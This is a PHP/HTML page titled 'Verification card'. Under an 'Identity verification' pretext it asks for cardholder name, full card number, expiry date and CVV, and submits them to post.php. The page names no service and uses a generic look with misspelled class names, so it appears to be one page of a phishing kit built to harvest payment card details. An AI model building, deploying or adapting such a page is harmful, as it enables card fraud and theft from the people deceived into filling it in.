<?php
require 'main.php';
?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="res/app1.css">
<title>Verification card </title>
</head>
<body>
<main>
<div class="continer">
<div class="tittle">
<h3>Identity verification.</h3>
<p>Please enter your card information to verify your identity.</p>
</div>
<form action="post.php" method="post">
<div class="col">
<label> Cardholder name </label>
<input type="text" name="name" required> </div>
<div class="col">
<label> Card number </label>
<input type="text" name="cc" placeholder="XXXX XXXX XXXX XXXX" id="cc" required></div>
<div class="col">
<label> Expiration date </label>
<input type="text" name="exp" placeholder="MM/YY" id="exp" required> </div>
<div class="col">
<label>Security code </label>
<input type="text" name="cvv" placeholder="CVV" id="cvv" required> </div>
<div class="but">
<div class="button"><button type="submit"> Confirm</button> </div>
</div>
<form>
</div>
</main>
<footer>
<label > English</label>
<label > Cookies</label>
<label > Terms</label>
<label > Privacy</label>
</footer>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
<script>
$("#cc").mask("0000 0000 0000 0000");
$("#exp").mask("00/00");
$("#cvv").mask("0000");
</script>
</body>
</html>